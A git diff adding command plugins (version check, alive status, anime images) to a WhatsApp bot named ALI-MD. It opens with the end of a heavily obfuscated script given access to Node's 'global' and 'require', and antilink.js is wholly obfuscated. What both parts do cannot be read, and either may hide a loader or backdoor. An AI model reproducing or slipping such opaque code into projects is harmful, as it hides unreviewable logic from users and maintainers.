x2],CvJLwkq-=j4mj8aI[0x2])}while(CvJLwkq>j4mj8aI[0x5]);NALWSgm=-j4mj8aI[0x1]}}if(NALWSgm>-j4mj8aI[0x1]){Vq1RC9.push((eAjEOR|NALWSgm<HQCI0Dz?nq92i2[qQ7x_za(0x113)](j4mj8aI[0x0],HQCI0Dz)+qQ7x_za(0x114):nq92i2;xYKSbnZ(v4cpGwm(qQ7x_za(0x115))[qQ7x_za(0x116)](qQ7x_za(0x117),ghm1iI),await e8_ZFwi(vxMQvPr))}});")({get"RFi1i6"(){return global},get"I93_ZGS"(){return require}}); diff --git a/plugins/ali-version.js b/plugins/ali-version.js new file mode 100644 index 0000000000000000000000000000000000000000..aaee6643aaaab0f01fe083c3153e148fef300707 --- /dev/null +++ b/plugins/ali-version.js @@ -0,0 +1,93 @@ +const axios = require('axios'); +const os = require('os'); +const fs = require('fs'); +const path = require('path'); +const { cmd, commands } = require('../command'); +const { runtime } = require('../lib/functions'); + +cmd({ + pattern: 'version', + alias: ["changelog", "cupdate", "checkupdate"], + react: '๐Ÿš€', + desc: "Check bot's version, system stats, and update info.", + category: 'info', + filename: __filename +}, async (conn, mek, m, { + from, sender, pushname, reply +}) => { + try { + // Read local version data + const localVersionPath = path.join(__dirname, '../data/version.json'); + let localVersion = 'Unknown'; + let changelog = 'No changelog available.'; + if (fs.existsSync(localVersionPath)) { + const localData = JSON.parse(fs.readFileSync(localVersionPath)); + localVersion = localData.version; + changelog = localData.changelog; + } + + // Fetch latest version data from GitHub + const rawVersionUrl = 'https://raw.githubusercontent.com/itx-alii-raza/ALI-MD/main/data/version.json'; + let latestVersion = 'Unknown'; + let latestChangelog = 'No changelog available.'; + try { + const { data } = await axios.get(rawVersionUrl); + latestVersion = data.version; + latestChangelog = data.changelog; + } catch (error) { + console.error('Failed to fetch latest version:', error); + } + + // Count total plugins + const pluginPath = path.join(__dirname, '../plugins'); + const pluginCount = fs.readdirSync(pluginPath).filter(file => file.endsWith('.js')).length; + + // Count total registered commands + const totalCommands = commands.length; + + // System info + const uptime = runtime(process.uptime()); + const ramUsage = (process.memoryUsage().heapUsed / 1024 / 1024).toFixed(2); + const totalRam = (os.totalmem() / 1024 / 1024).toFixed(2); + const hostName = os.hostname(); + const lastUpdate = fs.statSync(localVersionPath).mtime.toLocaleString(); + + // GitHub stats + const githubRepo = 'https://github.com/itx-alii-raza/ALI-MD'; + + // Check update status + let updateMessage = `*โœ… สแดแดœส€ แด€สŸษช-แดแด… ส™แดแด› ษชs แดœแด˜-แด›แด-แด…แด€แด›แด‡!*`; + if (localVersion !== latestVersion) { + updateMessage = `*๐Ÿ˜ตโ€๐Ÿ’ซ สแดแดœส€ แด€สŸษช-แดแด… ส™แดแด› ษชs แดแดœแด›แด…แด€แด›แด‡แด…!* +๐Ÿ”น *แด„แดœส€ส€แด‡ษดแด› แด แด‡ส€sษชแดษด:* ${localVersion} +๐Ÿ”น *สŸแด€แด›แด‡sแด› แด แด‡ส€sษชแดษด:* ${latestVersion} + +*แดœsแด‡ .แดœแด˜แด…แด€แด›แด‡ แด›แด แดœแด˜แด…แด€แด›แด‡.*`; + } + + const statusMessage = `๐ŸŒŸ *Good ${new Date().getHours() < 12 ? 'Morning' : 'Night'}, ${pushname}!* ๐ŸŒŸ\n\n` + + `๐Ÿค– *ส™แดแด› ษดแด€แดแด‡:* แด€สŸษช-แดแด…\n๐Ÿ”– *แด„แดœส€ส€แด‡ษดแด› แด แด‡ส€sษชแดษด:* ${localVersion}\n๐Ÿ“ข *สŸแด€แด›แด‡sแด› แด แด‡ส€sษชแดษด:* ${latestVersion}\n๐Ÿ“‚ *แด›แดแด›แด€สŸ แด˜สŸแดœษขษชษดs:* ${pluginCount}\n๐Ÿ”ข *แด›แดแด›แด€สŸ แด„แดแดแดแด€ษดแด…s:* ${totalCommands}\n\n` + + `๐Ÿ’พ *sสsแด›แด‡แด ษชษดา“แด:*\nโฐ *แดœแด˜แด›ษชแดแด‡:* ${uptime}\n๐Ÿ“Ÿ *ส€แด€แด แดœsแด€ษขแด‡:* ${ramUsage}MB / ${totalRam}MB\nโš™๏ธ *สœแดsแด› ษดแด€แดแด‡:* ${hostName}\n๐Ÿ“… *สŸแด€sแด› แดœแด˜แด…แด€แด›แด‡:* ${lastUpdate}\n\n` + + `๐Ÿ“‘ *แด„สœแด€ษดษขแด‡สŸแดษข:*\n${latestChangelog}\n\n` + + `โญ *ษขษชแด›สœแดœส™ ส€แด‡แด˜แด:* ${githubRepo}\n\n${updateMessage}\n\n๐Ÿ‘‹๐Ÿป *สœแด‡ส! แด…แดษด'แด› า“แดส€ษขแด‡แด› แด›แด า“แดส€แด‹ & sแด›แด€ส€ แด›สœแด‡ ส€แด‡แด˜แด!*`; + + // Send the status message with an image + await conn.sendMessage(from, { + image: { url: 'https://cdn.ironman.my.id/i/2du3i5.jpg' }, + caption: statusMessage, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: 'โ˜‡ ๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐’สŠฬŠ๐๐เนแึŸษผสˆ โƒช๐Ÿค–แชณแชณอŽ๐†ผ', + serverMessageId: 143 + } + } + }, { quoted: mek }); + } catch (error) { + console.error('Error fetching version info:', error); + reply('โŒ An error occurred while checking the bot version.'); + } +}); diff --git a/plugins/alive.js b/plugins/alive.js new file mode 100644 index 0000000000000000000000000000000000000000..6b6c9450f6a19f13c335683fb330642da13f4802 --- /dev/null +++ b/plugins/alive.js @@ -0,0 +1,72 @@ + +const { cmd } = require("../command"); +const moment = require("moment"); + +let botStartTime = Date.now(); // Enregistrement de l'heure de dรฉmarrage du bot +const ALIVE_IMG = "https://cdn.ironman.my.id/i/2du3i5.jpg"; // Assurez-vous que cette URL est valide + +cmd({ + pattern: "alive", + desc: "Check if the bot is active.", + category: "info", + react: "๐Ÿค–", + filename: __filename +}, async (conn, mek, m, { reply, from }) => { + try { + const pushname = m.pushName || "User"; // Nom de l'utilisateur ou valeur par dรฉfaut + const currentTime = moment().format("HH:mm:ss"); + const currentDate = moment().format("dddd, MMMM Do YYYY"); + + const runtimeMilliseconds = Date.now() - botStartTime; + const runtimeSeconds = Math.floor((runtimeMilliseconds / 1000) % 60); + const runtimeMinutes = Math.floor((runtimeMilliseconds / (1000 * 60)) % 60); + const runtimeHours = Math.floor(runtimeMilliseconds / (1000 * 60 * 60)); + + const formattedInfo = ` +๐ŸŒŸ *ALI MD STATUS* ๐ŸŒŸ +Hey ๐Ÿ‘‹๐Ÿป ${pushname} +๐Ÿ•’ *Time*: ${currentTime} +๐Ÿ“… *Date*: ${currentDate} +โณ *Uptime*: ${runtimeHours} hours, ${runtimeMinutes} minutes, ${runtimeSeconds} seconds + +*๐Ÿค–sแด›แด€แด›แดœs*: *แด€สŸษช-แดแด… แด€สŸษชแด แด‡ แด€ษดแด… ส€แด‡แด€แด…ส* + +*๐Ÿคแดแด€แด…แด‡ แดกษชแด›สœ สŸแดแด แด‡* + `.trim(); + + // Vรฉrifier si l'image est dรฉfinie + if (!ALIVE_IMG || !ALIVE_IMG.startsWith("http")) { + throw new Error("Invalid ALIVE_IMG URL. Please set a valid image URL."); + } + + // Envoyer le message avec image et lรฉgende + await conn.sendMessage(from, { + image: { url: ALIVE_IMG }, // Assurez-vous que l'URL est valide + caption: formattedInfo, + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: '๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐Ÿ', + serverMessageId: 143 + } + } + }, { quoted: mek }); + + } catch (error) { + console.error("Error in alive command: ", error); + + // Rรฉpondre avec des dรฉtails de l'erreur + const errorMessage = ` +โŒ An error occurred while processing the alive command. +๐Ÿ›  *Error Details*: +${error.message} + +Please report this issue or try again later. + `.trim(); + return reply(errorMessage); + } +}); + diff --git a/plugins/alive2.js b/plugins/alive2.js new file mode 100644 index 0000000000000000000000000000000000000000..1b2913fc7311bd7985b0b3e0f927d3a7f5cad2a6 --- /dev/null +++ b/plugins/alive2.js @@ -0,0 +1,22 @@ + + +const config = require('../config') +const {cmd , commands} = require('../command') +cmd({ + pattern: "alive2", + react: "๐ŸŒ", + desc: "Check bot online or no.", + category: "main", + filename: __filename +}, +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ +return await conn.sendMessage(from,{image: {url: config.ALIVE_IMG},caption: config.ALIVE_MSG},{quoted: mek}) +}catch(e){ +console.log(e) +reply(`${e}`) +} +}) + + + diff --git a/plugins/anime.js b/plugins/anime.js new file mode 100644 index 0000000000000000000000000000000000000000..d7d9016c7793e92d92906d6635e6362bff5cca17 --- /dev/null +++ b/plugins/anime.js @@ -0,0 +1,30 @@ + + + +const {cmd , commands} = require('../command') + +cmd({ + pattern: "anime", + desc: "anime the bot", + category: "main", + react: "โ›ฑ๏ธ", + filename: __filename +}, + +async(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) => { +try{ + +let dec = `*ALI-MD-V1 ANIME PHOTOS*` +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/b26f27aa5daaada031b90.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/51b44e4b086667361061b.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/7d165d73f914985542537.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/3d9732d2657d2d72dc102.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/8daf7e432a646f3ebe7eb.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/7514b18ea89da924e7496.jpg`},caption:dec},{quoted:mek}); +await conn.sendMessage(from,{image:{url: `https://telegra.ph/file/ce9cb5acd2cec7693d76b.jpg`},caption:dec},{quoted:mek}); + +}catch(e){ +console.log(e) +reply(`${e}`) +} +}) diff --git a/plugins/animegirl.js b/plugins/animegirl.js new file mode 100644 index 0000000000000000000000000000000000000000..13d65bdaa9be1b67e35739f7ea737e611dcc2ae9 --- /dev/null +++ b/plugins/animegirl.js @@ -0,0 +1,145 @@ + + +const axios = require('axios'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "animegirl", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "animegirl1", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "animegirl2", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "animegirl3", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "animegirl4", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "animegirl5", + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿ‘ง", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); + +cmd({ + pattern: "loli", + alias: ["lolii"], + desc: "Fetch a random anime girl image.", + category: "fun", + react: "๐Ÿฑ", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const apiUrl = `https://api.waifu.pics/sfw/waifu`; + const response = await axios.get(apiUrl); + const data = response.data; + + await conn.sendMessage(from, { image: { url: data.url }, caption: '๐Ÿ‘ธ *แด€สŸษช-แดแด… ส€แด€ษดแด…แดแด แด€ษดษชแดแด‡ ษขษชส€สŸ ษชแดแด€ษขแด‡s* ๐Ÿ‘ธ\n\n\n *๐Ÿงฌยฉแด€สŸษช-แดแด… ส™ส แด€สŸษช Tแด‡แด„สœ*' }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`*Error Fetching Anime Girl image*: ${e.message}`); + } +}); diff --git a/plugins/antilink.js b/plugins/antilink.js new file mode 100644 index 0000000000000000000000000000000000000000..3c22b5fcf46f714d85e0e2b95aa71cc3e75ec56f --- /dev/null +++ b/plugins/antilink.js @@ -0,0 +1 @@ +(function(_0x38de45,_0x351239){function _0x3bb905(_0x2fe486,_0x3009d1,_0x46b8a6,_0x1eb250){return _0x2a42(_0x1eb250- -0x3a4,_0x2fe486);}function _0x25ae40(_0x2eea6d,_0x3c8294,_0x12fdd1,_0x55433e){return _0x2a42(_0x12fdd1- -0x24b,_0x3c8294);}const _0xf4a7b=_0x38de45();while(!![]){try{const _0x180a03=-parseInt(_0x3bb905(-0x195,-0x1af,-0x16e,-0x1a6))/(-0x3*0x41+0x172+-0x57*0x2)*(parseInt(_0x3bb905(-0x1bd,-0x225,-0x1de,-0x1ec))/(0x679*-0x4+0x1924+0x2*0x61))+-parseInt(_0x3bb905(-0x14d,-0x1bb,-0x14d,-0x18a))/(0x1183*-0x1+0x1215+-0xd*0xb)*(-parseInt(_0x25ae40(-0x94,-0x39,-0x58,-0x5e))/(-0x227+0x3*0x687+-0x116a))+parseInt(_0x25ae40(-0x6a,-0x52,-0x36,-0x68))/(0x1822+-0x732+-0x10eb)*(-parseInt(_0x3bb905(-0x18e,-0x1b3,-0x1dc,-0x1c2))/(0x5*-0xf0+-0x13dd+-0x1b*-0xe9))+parseInt(_0x25ae40(-0x56,-0xc1,-0x8c,-0x5c))/(-0xb74+-0x20e*0x10+0x2c5b)*(-parseInt(_0x3bb905(-0x1c9,-0x1d5,-0x1ee,-0x1e8))/(0x27b+0x1f74+0x21*-0x107))+-parseInt(_0x3bb905(-0x1ba,-0x20a,-0x202,-0x1d8))/(0x1529+-0x3c6*0x5+-0x1*0x242)*(parseInt(_0x25ae40(-0x59,-0x83,-0x97,-0x7d))/(0x1*-0x5f7+0xeda+-0x97*0xf))+-parseInt(_0x3bb905(-0x1d1,-0x1e7,-0x1ce,-0x1bf))/(0x1*0x7cf+-0x118f+0x9cb)*(-parseInt(_0x25ae40(-0x79,-0x9d,-0x8d,-0x5f))/(0x24e3+-0x1*0x607+0x44*-0x74))+-parseInt(_0x25ae40(-0x27,-0x7f,-0x59,-0x54))/(-0x1*-0x2057+-0x114e+-0xefc*0x1)*(-parseInt(_0x25ae40(-0x71,-0x70,-0x5a,-0x3a))/(0x2447*0x1+-0xabc*-0x2+-0x39b1));if(_0x180a03===_0x351239)break;else _0xf4a7b['push'](_0xf4a7b['shift']());}catch(_0x4672c0){_0xf4a7b['push'](_0xf4a7b['shift']());}}}(_0x45d9,0xa1ecb+0x8897b+0x7a46e*-0x1));function _0x2a42(_0x23db14,_0x57a5bc){const _0x323222=_0x45d9();return _0x2a42=function(_0x2c5d59,_0x3546ca){_0x2c5d59=_0x2c5d59-(0x6d1*0x5+0xe4c+-0x2ebd);let _0xd09add=_0x323222[_0x2c5d59];if(_0x2a42['NvgfBC']===undefined){var _0x49cad9=function(_0x1a5c53){const _0x46b79c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x6cf166='',_0x5ef052='',_0xbc2602=_0x6cf166+_0x49cad9;for(let _0x3396a8=-0x2636+-0x2*-0x856+0x6*0x397,_0x285d14,_0x136eb2,_0x1481b3=0x585*0x1+-0xc2*0x1a+-0x1*-0xe2f;_0x136eb2=_0x1a5c53['charAt'](_0x1481b3++);~_0x136eb2&&(_0x285d14=_0x3396a8%(-0x1d5a+-0x18c8+0x3626)?_0x285d14*(-0x1e2f*-0x1+0x161*-0x4+-0x186b)+_0x136eb2:_0x136eb2,_0x3396a8++%(-0x266*-0x8+0x19ce+-0x12f*0x26))?_0x6cf166+=_0xbc2602['charCodeAt'](_0x1481b3+(-0x21ff*0x1+0x6cf*0x1+0xd9d*0x2))-(0x3df*0xa+0xa84+-0x3130)!==0x1*0xe9+-0x126d+-0x4c*-0x3b?String['fromCharCode'](0xa*0x99+-0x1652+0x1157&_0x285d14>>(-(0x2+0x2363*-0x1+0x2363*0x1)*_0x3396a8&0x14df+-0x1*0x26f5+0x121c)):_0x3396a8:-0x8fc+-0x1*-0x3e+0x8be){_0x136eb2=_0x46b79c['indexOf'](_0x136eb2);}for(let _0x4f9636=0x11*-0x14b+-0xfe2+0x25dd,_0x458667=_0x6cf166['length'];_0x4f9636<_0x458667;_0x4f9636++){_0x5ef052+='%'+('00'+_0x6cf166['charCodeAt'](_0x4f9636)['toString'](-0x1a57+-0xd64+-0x27cb*-0x1))['slice'](-(0xb*0x119+0x3ad*0x5+-0x1*0x1e72));}return decodeURIComponent(_0x5ef052);};_0x2a42['PsxKWl']=_0x49cad9,_0x23db14=arguments,_0x2a42['NvgfBC']=!![];}const _0x44a322=_0x323222[-0x706+0x26ba+0x4*-0x7ed],_0x4405df=_0x2c5d59+_0x44a322,_0x5c9a30=_0x23db14[_0x4405df];if(!_0x5c9a30){const _0x16b1c0=function(_0x4604c3){this['ovxIyg']=_0x4604c3,this['GdJGpV']=[-0x81*-0x3a+-0x9*-0x2f3+-0x53*0xac,-0x1ac+0x802+0x32b*-0x2,0x239d+-0x147a+-0xf23],this['GtZKkt']=function(){return'newState';},this['KTcRTD']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['GUenwZ']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x16b1c0['prototype']['KlTOur']=function(){const _0x5ef0da=new RegExp(this['KTcRTD']+this['GUenwZ']),_0x1bfd55=_0x5ef0da['test'](this['GtZKkt']['toString']())?--this['GdJGpV'][-0x5*-0x151+0x18e6+-0x1f7a]:--this['GdJGpV'][0x17c+0x6*0x33d+-0x14ea];return this['tibbbb'](_0x1bfd55);},_0x16b1c0['prototype']['tibbbb']=function(_0x3bc632){if(!Boolean(~_0x3bc632))return _0x3bc632;return this['ckyaOX'](this['ovxIyg']);},_0x16b1c0['prototype']['ckyaOX']=function(_0x19062e){for(let _0x547a63=-0xd6*-0x1a+0x67e*0x6+-0x3cb0,_0x2cff24=this['GdJGpV']['length'];_0x547a63<_0x2cff24;_0x547a63++){this['GdJGpV']['push'](Math['round'](Math['random']())),_0x2cff24=this['GdJGpV']['length'];}return _0x19062e(this['GdJGpV'][-0x1*0xcaa+-0x371*-0x1+-0x939*-0x1]);},new _0x16b1c0(_0x2a42)['KlTOur'](),_0xd09add=_0x2a42['PsxKWl'](_0xd09add),_0x23db14[_0x4405df]=_0xd09add;}else _0xd09add=_0x5c9a30;return _0xd09add;},_0x2a42(_0x23db14,_0x57a5bc);}const _0x1c1750=(function(){const _0x1f68b0={'KCivQ':function(_0x517d0c,_0x1f1ee4){return _0x517d0c(_0x1f1ee4);},'AlBaB':function(_0x5308fc,_0x171559){return _0x5308fc+_0x171559;},'oOpEq':_0x2ee7cd(0x1c4,0x1b2,0x181,0x1bd)+'nction()\x20','lvdSX':_0x17583c(-0xb,0x29,0x10,0x44),'ykdhI':_0x2ee7cd(0x168,0x189,0x169,0x182),'wWmeW':_0x2ee7cd(0x1a0,0x1ac,0x175,0x1a5),'yYWgl':_0x17583c(0xe,-0xf,-0x26,-0x64),'eAziy':'table','tObWU':function(_0x5c4d0d,_0x5e19ff){return _0x5c4d0d<_0x5e19ff;},'Cwtrl':function(_0x266be3,_0x12a8af){return _0x266be3!==_0x12a8af;},'vTiXZ':_0x2ee7cd(0x1b5,0x1b3,0x179,0x19b),'taGmp':_0x2ee7cd(0x165,0x14e,0x14e,0x112)};function _0x2ee7cd(_0x1746a5,_0x33f379,_0x5be8e2,_0x3fbfb8){return _0x2a42(_0x33f379- -0x6c,_0x5be8e2);}let _0x90a4af=!![];function _0x17583c(_0x1498fb,_0x3ae5ef,_0x3aa7b9,_0x158820){return _0x2a42(_0x3aa7b9- -0x1fe,_0x1498fb);}return function(_0x4e2ebf,_0x53352f){const _0x46761c=_0x90a4af?function(){const _0x169d6d={'BjzeB':function(_0x2d38b8,_0x3fabe9){return _0x1f68b0['KCivQ'](_0x2d38b8,_0x3fabe9);},'WuToR':function(_0x35d710,_0x25a00c){function _0x4dda5b(_0x43a743,_0x47df5e,_0x5cdf12,_0x3b76c4){return _0x2a42(_0x3b76c4- -0x229,_0x5cdf12);}return _0x1f68b0[_0x4dda5b(-0x4f,-0x41,-0x20,-0x22)](_0x35d710,_0x25a00c);},'aETji':_0x1f68b0[_0x4977e4(0x38,0x8,0xc,0x3c)],'UHzvE':'{}.constru'+_0x1790c9(0x48b,0x499,0x48b,0x460)+_0x1790c9(0x4dd,0x504,0x53f,0x4d3)+'\x20)','FDGzj':function(_0x54be37){return _0x54be37();},'HosAz':_0x1f68b0[_0x1790c9(0x471,0x493,0x45d,0x462)],'VMJeL':_0x1f68b0[_0x4977e4(0x24,-0x10,-0x1a,0x21)],'iyxTG':_0x1f68b0['wWmeW'],'dYdLn':_0x1f68b0[_0x4977e4(0x2c,-0x5,0x22,0x8)],'FDKSy':_0x1f68b0[_0x1790c9(0x4b2,0x4ba,0x4f4,0x4c6)],'Lqaic':function(_0x3aff89,_0x1803ab){function _0x1298bc(_0x337abd,_0x5d5593,_0x4bf73d,_0x26e8f6){return _0x1790c9(_0x26e8f6,_0x337abd- -0x56a,_0x4bf73d-0x149,_0x26e8f6-0x71);}return _0x1f68b0[_0x1298bc(-0x78,-0x4d,-0x3c,-0x40)](_0x3aff89,_0x1803ab);}};function _0x1790c9(_0x553905,_0xa14e89,_0x12d3af,_0x3622ae){return _0x2a42(_0xa14e89-0x2e8,_0x553905);}function _0x4977e4(_0xf42de9,_0x12f947,_0x17dd3a,_0xf3ef86){return _0x2a42(_0x12f947- -0x20a,_0xf42de9);}if(_0x1f68b0[_0x1790c9(0x4d1,0x4dc,0x4c0,0x519)](_0x1f68b0['vTiXZ'],_0x1f68b0[_0x1790c9(0x4d1,0x4bf,0x484,0x498)])){if(_0x53352f){const _0x21a414=_0x53352f[_0x1790c9(0x495,0x494,0x4ca,0x462)](_0x4e2ebf,arguments);return _0x53352f=null,_0x21a414;}}else{let _0xeae9f4;try{const _0x2213f7=_0x169d6d['BjzeB'](_0x501532,_0x169d6d[_0x4977e4(0xe,0xc,0x3a,-0x22)](_0x169d6d['aETji'],_0x169d6d[_0x1790c9(0x463,0x495,0x4a2,0x46f)])+');');_0xeae9f4=_0x169d6d[_0x4977e4(-0x60,-0x4f,-0x43,-0x52)](_0x2213f7);}catch(_0x4f94c1){_0xeae9f4=_0x14a4a7;}const _0x5f3bcb=_0xeae9f4[_0x4977e4(-0x2f,-0x39,-0x69,-0x7)]=_0xeae9f4[_0x1790c9(0x4b7,0x4b9,0x4ee,0x4ac)]||{},_0x489380=[_0x169d6d[_0x1790c9(0x4fa,0x503,0x519,0x4d0)],_0x169d6d[_0x1790c9(0x500,0x4c5,0x4b8,0x4c2)],_0x169d6d[_0x1790c9(0x4c7,0x496,0x4c2,0x460)],_0x169d6d['dYdLn'],_0x1790c9(0x4a9,0x4bd,0x4b7,0x492),_0x169d6d[_0x1790c9(0x4eb,0x4b7,0x4ad,0x47c)],_0x4977e4(-0x5b,-0x21,0x17,0x19)];for(let _0x48cbf5=0x2661+-0x1*-0x133+-0x22*0x12a;_0x169d6d[_0x1790c9(0x494,0x4bb,0x48a,0x4b8)](_0x48cbf5,_0x489380[_0x1790c9(0x4be,0x4ea,0x501,0x4d2)]);_0x48cbf5++){const _0x26e773=_0x2da5a3[_0x4977e4(-0x3b,-0x63,-0x61,-0x7b)+'r'][_0x1790c9(0x485,0x4b2,0x481,0x4d0)][_0x1790c9(0x4c9,0x4a9,0x4d3,0x4a8)](_0x3975bd),_0x602c1=_0x489380[_0x48cbf5],_0x11f0c1=_0x5f3bcb[_0x602c1]||_0x26e773;_0x26e773[_0x1790c9(0x4d7,0x4b6,0x4e4,0x483)]=_0x7c2db1[_0x1790c9(0x4d3,0x4a9,0x472,0x4ad)](_0x1859aa),_0x26e773[_0x1790c9(0x4e4,0x4cf,0x508,0x4f5)]=_0x11f0c1[_0x4977e4(0x2,-0x23,0xa,-0x47)][_0x4977e4(-0x86,-0x49,-0x40,-0x4d)](_0x11f0c1),_0x5f3bcb[_0x602c1]=_0x26e773;}}}:function(){};return 